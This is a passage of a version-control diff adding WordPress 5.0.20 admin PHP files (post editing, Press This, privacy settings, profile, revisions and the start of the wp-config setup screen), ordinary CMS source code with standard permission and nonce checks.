+		'<p>' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '</p>',
+		403
+	);
+}
+
+// Schedule auto-draft cleanup
+if ( ! wp_next_scheduled( 'wp_scheduled_auto_draft_delete' ) ) {
+	wp_schedule_event( time(), 'daily', 'wp_scheduled_auto_draft_delete' );
+}
+
+$post = get_default_post_to_edit( $post_type, true );
+$post_ID = $post->ID;
+
+/** This filter is documented in wp-admin/post.php */
+if ( apply_filters( 'replace_editor', false, $post ) !== true ) {
+	if ( use_block_editor_for_post( $post ) ) {
+		include( ABSPATH . 'wp-admin/edit-form-blocks.php' );
+	} else {
+		wp_enqueue_script( 'autosave' );
+		include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
+	}
+}
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/post.php
===================================================================
--- /tags/5.0.20/src/wp-admin/post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/post.php	(revision 56912)
@@ -0,0 +1,317 @@
+<?php
+/**
+ * Edit post administration panel.
+ *
+ * Manage Post actions: post, edit, delete, etc.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$parent_file = 'edit.php';
+$submenu_file = 'edit.php';
+
+wp_reset_vars( array( 'action' ) );
+
+if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] )
+	wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
+elseif ( isset( $_GET['post'] ) )
+ 	$post_id = $post_ID = (int) $_GET['post'];
+elseif ( isset( $_POST['post_ID'] ) )
+ 	$post_id = $post_ID = (int) $_POST['post_ID'];
+else
+ 	$post_id = $post_ID = 0;
+
+/**
+ * @global string  $post_type
+ * @global object  $post_type_object
+ * @global WP_Post $post
+ */
+global $post_type, $post_type_object, $post;
+
+if ( $post_id )
+	$post = get_post( $post_id );
+
+if ( $post ) {
+	$post_type = $post->post_type;
+	$post_type_object = get_post_type_object( $post_type );
+}
+
+if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
+	wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
+}
+
+if ( isset( $_POST['deletepost'] ) )
+	$action = 'delete';
+elseif ( isset($_POST['wp-preview']) && 'dopreview' == $_POST['wp-preview'] )
+	$action = 'preview';
+
+$sendback = wp_get_referer();
+if ( ! $sendback ||
+     strpos( $sendback, 'post.php' ) !== false ||
+     strpos( $sendback, 'post-new.php' ) !== false ) {
+	if ( 'attachment' == $post_type ) {
+		$sendback = admin_url( 'upload.php' );
+	} else {
+		$sendback = admin_url( 'edit.php' );
+		if ( ! empty( $post_type ) ) {
+			$sendback = add_query_arg( 'post_type', $post_type, $sendback );
+		}
+	}
+} else {
+	$sendback = remove_query_arg( array('trashed', 'untrashed', 'deleted', 'ids'), $sendback );
+}
+
+switch($action) {
+case 'post-quickdraft-save':
+	// Check nonce and capabilities
+	$nonce = $_REQUEST['_wpnonce'];
+	$error_msg = false;
+
+	// For output of the quickdraft dashboard widget
+	require_once ABSPATH . 'wp-admin/includes/dashboard.php';
+
+	if ( ! wp_verify_nonce( $nonce, 'add-post' ) )
+		$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
+
+	if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
+		exit;
+	}
+
+	if ( $error_msg )
+		return wp_dashboard_quick_press( $error_msg );
+
+	$post = get_post( $_REQUEST['post_ID'] );
+	check_admin_referer( 'add-' . $post->post_type );
+
+	$_POST['comment_status'] = get_default_comment_status( $post->post_type );
+	$_POST['ping_status']    = get_default_comment_status( $post->post_type, 'pingback' );
+
+	edit_post();
+	wp_dashboard_quick_press();
+	exit;
+
+case 'postajaxpost':
+case 'post':
+	check_admin_referer( 'add-' . $post_type );
+	$post_id = 'postajaxpost' == $action ? edit_post() : write_post();
+	redirect_post( $post_id );
+	exit();
+
+case 'edit':
+	$editing = true;
+
+	if ( empty( $post_id ) ) {
+		wp_redirect( admin_url('post.php') );
+		exit();
+	}
+
+	if ( ! $post )
+		wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Invalid post type.' ) );
+
+	if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ) ) ) {
+		wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
+	}
+
+	if ( ! current_user_can( 'edit_post', $post_id ) )
+		wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
+
+	if ( 'trash' == $post->post_status )
+		wp_die( __( 'You can&#8217;t edit this item because it is in the Trash. Please restore it and try again.' ) );
+
+	if ( ! empty( $_GET['get-post-lock'] ) ) {
+		check_admin_referer( 'lock-post_' . $post_id );
+		wp_set_post_lock( $post_id );
+		wp_redirect( get_edit_post_link( $post_id, 'url' ) );
+		exit();
+	}
+
+	$post_type = $post->post_type;
+	if ( 'post' == $post_type ) {
+		$parent_file = "edit.php";
+		$submenu_file = "edit.php";
+		$post_new_file = "post-new.php";
+	} elseif ( 'attachment' == $post_type ) {
+		$parent_file = 'upload.php';
+		$submenu_file = 'upload.php';
+		$post_new_file = 'media-new.php';
+	} else {
+		if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true )
+			$parent_file = $post_type_object->show_in_menu;
+		else
+			$parent_file = "edit.php?post_type=$post_type";
+		$submenu_file = "edit.php?post_type=$post_type";
+		$post_new_file = "post-new.php?post_type=$post_type";
+	}
+
+	$title = $post_type_object->labels->edit_item;
+
+	/**
+	 * Allows replacement of the editor.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param boolean      Whether to replace the editor. Default false.
+	 * @param object $post Post object.
+	 */
+	if ( apply_filters( 'replace_editor', false, $post ) === true ) {
+		break;
+	}
+
+	if ( use_block_editor_for_post( $post ) ) {
+		include( ABSPATH . 'wp-admin/edit-form-blocks.php' );
+		break;
+	}
+
+	if ( ! wp_check_post_lock( $post->ID ) ) {
+		$active_post_lock = wp_set_post_lock( $post->ID );
+
+		if ( 'attachment' !== $post_type )
+			wp_enqueue_script('autosave');
+	}
+
+	$post = get_post( $post_id, OBJECT, 'edit' );
+
+	if ( post_type_supports($post_type, 'comments') ) {
+		wp_enqueue_script('admin-comments');
+		enqueue_comment_hotkeys_js();
+	}
+
+	include( ABSPATH . 'wp-admin/edit-form-advanced.php' );
+
+	break;
+
+case 'editattachment':
+	check_admin_referer('update-post_' . $post_id);
+
+	// Don't let these be changed
+	unset($_POST['guid']);
+	$_POST['post_type'] = 'attachment';
+
+	// Update the thumbnail filename
+	$newmeta = wp_get_attachment_metadata( $post_id, true );
+	$newmeta['thumb'] = wp_basename( $_POST['thumb'] );
+
+	wp_update_attachment_metadata( $post_id, $newmeta );
+
+case 'editpost':
+	check_admin_referer('update-post_' . $post_id);
+
+	$post_id = edit_post();
+
+	// Session cookie flag that the post was saved
+	if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
+		setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
+	}
+
+	redirect_post($post_id); // Send user on their way while we keep working
+
+	exit();
+
+case 'trash':
+	check_admin_referer('trash-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Invalid post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
+
+	if ( $user_id = wp_check_post_lock( $post_id ) ) {
+		$user = get_userdata( $user_id );
+		wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
+	}
+
+	if ( ! wp_trash_post( $post_id ) )
+		wp_die( __( 'Error in moving to Trash.' ) );
+
+	wp_redirect( add_query_arg( array('trashed' => 1, 'ids' => $post_id), $sendback ) );
+	exit();
+
+case 'untrash':
+	check_admin_referer('untrash-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Invalid post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
+
+	if ( ! wp_untrash_post( $post_id ) )
+		wp_die( __( 'Error in restoring from Trash.' ) );
+
+	wp_redirect( add_query_arg('untrashed', 1, $sendback) );
+	exit();
+
+case 'delete':
+	check_admin_referer('delete-post_' . $post_id);
+
+	if ( ! $post )
+		wp_die( __( 'This item has already been deleted.' ) );
+
+	if ( ! $post_type_object )
+		wp_die( __( 'Invalid post type.' ) );
+
+	if ( ! current_user_can( 'delete_post', $post_id ) )
+		wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
+
+	if ( $post->post_type == 'attachment' ) {
+		$force = ( ! MEDIA_TRASH );
+		if ( ! wp_delete_attachment( $post_id, $force ) )
+			wp_die( __( 'Error in deleting.' ) );
+	} else {
+		if ( ! wp_delete_post( $post_id, true ) )
+			wp_die( __( 'Error in deleting.' ) );
+	}
+
+	wp_redirect( add_query_arg('deleted', 1, $sendback) );
+	exit();
+
+case 'preview':
+	check_admin_referer( 'update-post_' . $post_id );
+
+	$url = post_preview();
+
+	wp_redirect($url);
+	exit();
+
+case 'toggle-custom-fields':
+	check_admin_referer( 'toggle-custom-fields' );
+
+	$current_user_id = get_current_user_id();
+	if ( $current_user_id ) {
+		$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
+		update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
+	}
+
+	wp_safe_redirect( wp_get_referer() );
+	exit();
+
+default:
+	/**
+	 * Fires for a given custom post action request.
+	 *
+	 * The dynamic portion of the hook name, `$action`, refers to the custom post action.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param int $post_id Post ID sent with the request.
+	 */
+	do_action( "post_action_{$action}", $post_id );
+
+	wp_redirect( admin_url('edit.php') );
+	exit();
+} // end switch
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/press-this.php
===================================================================
--- /tags/5.0.20/src/wp-admin/press-this.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/press-this.php	(revision 56912)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Press This Display and Handler.
+ *
+ * @package WordPress
+ * @subpackage Press_This
+ */
+
+define( 'IFRAME_REQUEST' , true );
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+function wp_load_press_this() {
+	$plugin_slug = 'press-this';
+	$plugin_file = 'press-this/press-this-plugin.php';
+
+	if ( ! current_user_can( 'edit_posts' ) || ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
+		wp_die(
+			__( 'Sorry, you are not allowed to create posts as this user.' ),
+			__( 'You need a higher level of permission.' ),
+			403
+		);
+	} elseif ( is_plugin_active( $plugin_file ) ) {
+		include( WP_PLUGIN_DIR . '/press-this/class-wp-press-this-plugin.php' );
+		$wp_press_this = new WP_Press_This_Plugin();
+		$wp_press_this->html();
+	} elseif ( current_user_can( 'activate_plugins' ) ) {
+		if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_file ) ) {
+			$url = wp_nonce_url( add_query_arg( array(
+				'action' => 'activate',
+				'plugin' => $plugin_file,
+				'from'   => 'press-this',
+			), admin_url( 'plugins.php' ) ), 'activate-plugin_' . $plugin_file );
+			$action = sprintf(
+				'<a href="%1$s" aria-label="%2$s">%2$s</a>',
+				esc_url( $url ),
+				__( 'Activate Press This' )
+			);
+		} else {
+			if ( is_main_site() ) {
+				$url = wp_nonce_url( add_query_arg( array(
+					'action' => 'install-plugin',
+					'plugin' => $plugin_slug,
+					'from'   => 'press-this',
+				), self_admin_url( 'update.php' ) ), 'install-plugin_' . $plugin_slug );
+				$action = sprintf(
+					'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%2$s" aria-label="%3$s">%3$s</a>',
+					esc_url( $url ),
+					esc_attr( $plugin_slug ),
+					__( 'Install Now' )
+				);
+			} else {
+				$action = sprintf(
+					/* translators: URL to wp-admin/press-this.php */
+					__( 'Press This is not installed. Please install Press This from <a href="%s">the main site</a>.' ),
+					get_admin_url( get_current_network_id(), 'press-this.php' )
+				);
+			}
+		}
+		wp_die(
+			__( 'The Press This plugin is required.' ) . '<br />' . $action,
+			__( 'Installation Required' ),
+			200
+		);
+	} else {
+		wp_die(
+			__( 'Press This is not available. Please contact your site administrator.' ),
+			__( 'Installation Required' ),
+			200
+		);
+	}
+}
+
+wp_load_press_this();
Index: /tags/5.0.20/src/wp-admin/privacy.php
===================================================================
--- /tags/5.0.20/src/wp-admin/privacy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/privacy.php	(revision 56912)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Privacy Settings Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_privacy_options' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to manage privacy on this site.' ) );
+}
+
+$action = isset( $_POST['action'] ) ? $_POST['action'] : '';
+
+if ( ! empty( $action ) ) {
+	check_admin_referer( $action );
+
+	if ( 'set-privacy-page' === $action ) {
+		$privacy_policy_page_id = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0;
+		update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );
+
+		$privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' );
+
+		if ( $privacy_policy_page_id ) {
+			/*
+			 * Don't always link to the menu customizer:
+			 *
+			 * - Unpublished pages can't be selected by default.
+			 * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities.
+			 * - Themes might not "officially" support menus.
+			 */
+			if (
+				'publish' === get_post_status( $privacy_policy_page_id )
+				&& current_user_can( 'edit_theme_options' )
+				&& current_theme_supports( 'menus' )
+			) {
+				$privacy_page_updated_message = sprintf(
+					/* translators: %s: URL to Customizer -> Menus */
+					__( 'Privacy Policy page updated successfully. Remember to <a href="%s">update your menus</a>!' ),
+					esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) )
+				);
+			}
+		}
+
+		add_settings_error(
+			'page_for_privacy_policy',
+			'page_for_privacy_policy',
+			$privacy_page_updated_message,
+			'updated'
+		);
+	} elseif ( 'create-privacy-page' === $action ) {
+
+		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
+			require_once( ABSPATH . 'wp-admin/includes/misc.php' );
+		}
+
+		$privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content();
+		$privacy_policy_page_id = wp_insert_post(
+			array(
+				'post_title'   => __( 'Privacy Policy' ),
+				'post_status'  => 'draft',
+				'post_type'    => 'page',
+				'post_content' => $privacy_policy_page_content,
+			),
+			true
+		);
+
+		if ( is_wp_error( $privacy_policy_page_id ) ) {
+			add_settings_error(
+				'page_for_privacy_policy',
+				'page_for_privacy_policy',
+				__( 'Unable to create a Privacy Policy page.' ),
+				'error'
+			);
+		} else {
+			update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );
+
+			wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) );
+			exit;
+		}
+	}
+}
+
+// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
+$privacy_policy_page_exists = false;
+$privacy_policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );
+
+if ( ! empty( $privacy_policy_page_id ) ) {
+
+	$privacy_policy_page = get_post( $privacy_policy_page_id );
+
+	if ( ! $privacy_policy_page instanceof WP_Post ) {
+		add_settings_error(
+			'page_for_privacy_policy',
+			'page_for_privacy_policy',
+			__( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ),
+			'error'
+		);
+	} else {
+		if ( 'trash' === $privacy_policy_page->post_status ) {
+			add_settings_error(
+				'page_for_privacy_policy',
+				'page_for_privacy_policy',
+				sprintf(
+					/* translators: URL to Pages Trash */
+					__( 'The currently selected Privacy Policy page is in the trash. Please create or select a new Privacy Policy page or <a href="%s">restore the current page</a>.' ),
+					'edit.php?post_status=trash&post_type=page'
+				),
+				'error'
+			);
+		} else {
+			$privacy_policy_page_exists = true;
+		}
+	}
+}
+
+$title       = __( 'Privacy Settings' );
+$parent_file = 'options-general.php';
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+<div class="wrap">
+	<h1><?php echo $title; ?></h1>
+	<h2><?php _e( 'Privacy Policy page' ); ?></h2>
+	<p>
+		<?php _e( 'As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a Privacy Policy.' ); ?>
+		<?php _e( 'If you already have a Privacy Policy page, please select it below. If not, please create one.' ); ?>
+	</p>
+	<p>
+		<?php _e( 'The new page will include help and suggestions for your Privacy Policy.' ); ?>
+		<?php _e( 'However, it is your responsibility to use those resources correctly, to provide the information that your Privacy Policy requires, and to keep that information current and accurate.' ); ?>
+	</p>
+	<p>
+		<?php _e( 'After your Privacy Policy page is set, we suggest that you edit it.' ); ?>
+		<?php _e( 'We would also suggest reviewing your Privacy Policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy.' ); ?>
+	</p>
+	<?php
+
+	if ( $privacy_policy_page_exists ) {
+		$edit_href = add_query_arg(
+			array(
+				'post'   => $privacy_policy_page_id,
+				'action' => 'edit',
+			),
+			admin_url( 'post.php' )
+		);
+
+		$view_href = get_permalink( $privacy_policy_page_id );
+
+		?>
+		<p class="tools-privacy-edit"><strong>
+			<?php
+
+			if ( 'publish' === get_post_status( $privacy_policy_page_id ) ) {
+				/* translators: 1: URL to edit page, 2: URL to view page */
+				printf( __( '<a href="%1$s">Edit</a> or <a href="%2$s">view</a> your Privacy Policy page content.' ), $edit_href, $view_href );
+			} else {
+				/* translators: 1: URL to edit page, 2: URL to preview page */
+				printf( __( '<a href="%1$s">Edit</a> or <a href="%2$s">preview</a> your Privacy Policy page content.' ), $edit_href, $view_href );
+			}
+
+			?>
+		</strong></p>
+		<p>
+			<?php
+
+			/* translators: 1: Privacy Policy guide URL, 2: additional link attributes, 3: accessibility text */
+			printf(
+				__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out our guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
+				admin_url( 'tools.php?wp-privacy-policy-guide' ),
+				'',
+				''
+			);
+
+			?>
+		</p>
+		<?php
+	}
+	?>
+	<hr>
+	<table class="form-table tools-privacy-policy-page">
+		<tr>
+			<th scope="row">
+				<?php
+				if ( $privacy_policy_page_exists ) {
+					_e( 'Change your Privacy Policy page' );
+				} else {
+					_e( 'Select a Privacy Policy page' );
+				}
+				?>
+			</th>
+			<td>
+				<?php
+				$has_pages = (bool) get_posts( array(
+					'post_type' => 'page',
+					'posts_per_page' => 1,
+					'post_status' => array(
+						'publish',
+						'draft',
+					),
+				) );
+
+				if ( $has_pages ) : ?>
+					<form method="post" action="">
+						<label for="page_for_privacy_policy">
+							<?php _e( 'Select an existing page:' ); ?>
+						</label>
+						<input type="hidden" name="action" value="set-privacy-page" />
+						<?php
+						wp_dropdown_pages(
+							array(
+								'name'              => 'page_for_privacy_policy',
+								'show_option_none'  => __( '&mdash; Select &mdash;' ),
+								'option_none_value' => '0',
+								'selected'          => $privacy_policy_page_id,
+								'post_status'       => array( 'draft', 'publish' ),
+							)
+						);
+
+						wp_nonce_field( 'set-privacy-page' );
+
+						submit_button( __( 'Use This Page' ), 'primary', 'submit', false, array( 'id' => 'set-page' ) );
+						?>
+					</form>
+				<?php endif; ?>
+
+				<form class="wp-create-privacy-page" method="post" action="">
+					<input type="hidden" name="action" value="create-privacy-page" />
+					<span>
+						<?php
+						if ( $has_pages ) {
+							_e( 'Or:' );
+						} else {
+							_e( 'There are no pages.' );
+						}
+						?>
+					</span>
+					<?php
+					wp_nonce_field( 'create-privacy-page' );
+
+					submit_button( __( 'Create New Page' ), 'primary', 'submit', false, array( 'id' => 'create-page' ) );
+					?>
+				</form>
+			</td>
+		</tr>
+	</table>
+</div>
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/profile.php
===================================================================
--- /tags/5.0.20/src/wp-admin/profile.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/profile.php	(revision 56912)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * User Profile Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * This is a profile page.
+ *
+ * @since 2.5.0
+ * @var bool
+ */
+define('IS_PROFILE_PAGE', true);
+
+/** Load User Editing Page */
+require_once( dirname( __FILE__ ) . '/user-edit.php' );
Index: /tags/5.0.20/src/wp-admin/revision.php
===================================================================
--- /tags/5.0.20/src/wp-admin/revision.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/revision.php	(revision 56912)
@@ -0,0 +1,136 @@
+<?php
+/**
+ * Revisions administration panel
+ *
+ * Requires wp-admin/includes/revision.php.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.6.0
+ *
+ * @param int    revision Optional. The revision ID.
+ * @param string action   The action to take.
+ *                        Accepts 'restore', 'view' or 'edit'.
+ * @param int    from     The revision to compare from.
+ * @param int    to       Optional, required if revision missing. The revision to compare to.
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+require ABSPATH . 'wp-admin/includes/revision.php';
+
+wp_reset_vars( array( 'revision', 'action', 'from', 'to' ) );
+
+$revision_id = absint( $revision );
+
+$from = is_numeric( $from ) ? absint( $from ) : null;
+if ( ! $revision_id )
+	$revision_id = absint( $to );
+$redirect = 'edit.php';
+
+switch ( $action ) {
+case 'restore' :
+	if ( ! $revision = wp_get_post_revision( $revision_id ) )
+		break;
+
+	if ( ! current_user_can( 'edit_post', $revision->post_parent ) )
+		break;
+
+	if ( ! $post = get_post( $revision->post_parent ) )
+		break;
+
+	// Restore if revisions are enabled or this is an autosave.
+	if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) {
+		$redirect = 'edit.php?post_type=' . $post->post_type;
+		break;
+	}
+
+	// Don't allow revision restore when post is locked
+	if ( wp_check_post_lock( $post->ID ) )
+		break;
+
+	check_admin_referer( "restore-post_{$revision->ID}" );
+
+	wp_restore_post_revision( $revision->ID );
+	$redirect = add_query_arg( array( 'message' => 5, 'revision' => $revision->ID ), get_edit_post_link( $post->ID, 'url' ) );
+	break;
+case 'view' :
+case 'edit' :
+default :
+	if ( ! $revision = wp_get_post_revision( $revision_id ) )
+		break;
+	if ( ! $post = get_post( $revision->post_parent ) )
+		break;
+
+	if ( ! current_user_can( 'read_post', $revision->ID ) || ! current_user_can( 'edit_post', $revision->post_parent ) )
+		break;
+
+	// Revisions disabled and we're not looking at an autosave
+	if ( ! wp_revisions_enabled( $post ) && ! wp_is_post_autosave( $revision ) ) {
+		$redirect = 'edit.php?post_type=' . $post->post_type;
+		break;
+	}
+
+	$post_edit_link = get_edit_post_link();
+	$post_title     = '<a href="' . $post_edit_link . '">' . _draft_or_post_title() . '</a>';
+	/* translators: 1: Post title */
+	$h1             = sprintf( __( 'Compare Revisions of &#8220;%1$s&#8221;' ), $post_title );
+	$return_to_post = '<a href="' . $post_edit_link . '">' . __( '&larr; Return to editor' ) . '</a>';
+	$title          = __( 'Revisions' );
+
+	$redirect = false;
+	break;
+}
+
+// Empty post_type means either malformed object found, or no valid parent was found.
+if ( ! $redirect && empty( $post->post_type ) )
+	$redirect = 'edit.php';
+
+if ( ! empty( $redirect ) ) {
+	wp_redirect( $redirect );
+	exit;
+}
+
+// This is so that the correct "Edit" menu item is selected.
+if ( ! empty( $post->post_type ) && 'post' != $post->post_type )
+	$parent_file = $submenu_file = 'edit.php?post_type=' . $post->post_type;
+else
+	$parent_file = $submenu_file = 'edit.php';
+
+wp_enqueue_script( 'revisions' );
+wp_localize_script( 'revisions', '_wpRevisionsSettings', wp_prepare_revisions_for_js( $post, $revision_id, $from ) );
+
+/* Revisions Help Tab */
+
+$revisions_overview  = '<p>' . __( 'This screen is used for managing your content revisions.' ) . '</p>';
+$revisions_overview .= '<p>' . __( 'Revisions are saved copies of your post or page, which are periodically created as you update your content. The red text on the left shows the content that was removed. The green text on the right shows the content that was added.' ) . '</p>';
+$revisions_overview .= '<p>' . __( 'From this screen you can review, compare, and restore revisions:' ) . '</p>';
+$revisions_overview .= '<ul><li>' . __( 'To navigate between revisions, <strong>drag the slider handle left or right</strong> or <strong>use the Previous or Next buttons</strong>.' ) . '</li>';
+$revisions_overview .= '<li>' . __( 'Compare two different revisions by <strong>selecting the &#8220;Compare any two revisions&#8221; box</strong> to the side.' ) . '</li>';
+$revisions_overview .= '<li>' . __( 'To restore a revision, <strong>click Restore This Revision</strong>.' ) . '</li></ul>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'revisions-overview',
+	'title'   => __( 'Overview' ),
+	'content' => $revisions_overview
+) );
+
+$revisions_sidebar  = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';
+$revisions_sidebar .= '<p>' . __( '<a href="https://codex.wordpress.org/Revision_Management">Revisions Management</a>' ) . '</p>';
+$revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>';
+
+get_current_screen()->set_help_sidebar( $revisions_sidebar );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+	<h1 class="long-header"><?php echo $h1; ?></h1>
+	<?php echo $return_to_post; ?>
+</div>
+<?php
+wp_print_revision_templates();
+
+require_once( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/setup-config.php
===================================================================
--- /tags/5.0.20/src/wp-admin/setup-config.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/setup-config.php	(revision 56912)
@@ -0,0 +1,422 @@
+<?php
+/**
+ * Retrieves and creates the wp-config.php file.
+ *
+ * The permissions for the base directory must allow for writing files in order
+ * for the wp-config.php to be created using this page.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are installing.
+ */
+define('WP_INSTALLING', true);
+
+/**
+ * We are blissfully unaware of anything.
+ */
+define('WP_SETUP_CONFIG', true);
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging
+ */
+error_reporting(0);
+
+if ( ! defined( 'ABSPATH' ) ) {
+	define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/' );
+}
+
+require( ABSPATH . 'wp-settings.php' );
+
+/** Load WordPress Administration Upgrade API */
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+/** Load WordPress Translation Installation API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+nocache_headers();
+
+// Support wp-config-sample.php one level up, for the develop repo.
+if ( file_exists( ABSPATH . 'wp-config-sample.php' ) ) {
+	$config_file = file( ABSPATH . 'wp-config-sample.php' );
+} elseif ( file_exists( dirname( ABSPATH ) . '/wp-config-sample.php' ) ) {
+	$config_file = file( dirname( ABSPATH ) . '/wp-config-sample.php' );
+} else {
+	wp_die( sprintf(
+		/* translators: %s: wp-config-sample.php */
+		__( 'Sorry, I need a %s file to work from. Please re-upload this file to your WordPress installation.' ),
+		'<code>wp-config-sample.php</code>'
+	) );
+}
+
+// Check if wp-config.php has been created
+if ( file_exists( ABSPATH . 'wp-config.php' ) ) {
+	wp_die( '<p>' . sprintf(
+			/* translators: 1: wp-config.php 2: install.php */
+			__( 'The file %1$s already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
+			'<code>wp-config.php</code>',
+			'install.php'
+		) . '</p>'
+	);
+}
+
+// Check if wp-config.php exists above the root directory but is not part of another installation
+if ( @file_exists( ABSPATH . '../wp-config.php' ) && ! @file_exists( ABSPATH . '../wp-settings.php' ) ) {
+	wp_die( '<p>' . sprintf(
+			/* translators: 1: wp-config.php 2: install.php */
+			__( 'The file %1$s already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
+			'<code>wp-config.php</code>',
+			'install.php'
+		) . '</p>'
+	);
+}
+
+$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : -1;
+
+/**
+ * Display setup wp-config.php file header.
+ *
+ * @ignore
+ * @since 2.3.0
+ *
+ * @global string    $wp_local_package
+ * @global WP_Locale $wp_locale
+ *
+ * @param string|array $body_classes
+ */
+function setup_config_display_header( $body_classes = array() ) {
+	$body_classes = (array) $body_classes;
+	$body_classes[] = 'wp-core-ui';
+	if ( is_rtl() ) {
+		$body_classes[] = 'rtl';
+	}
+
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex,nofollow" />
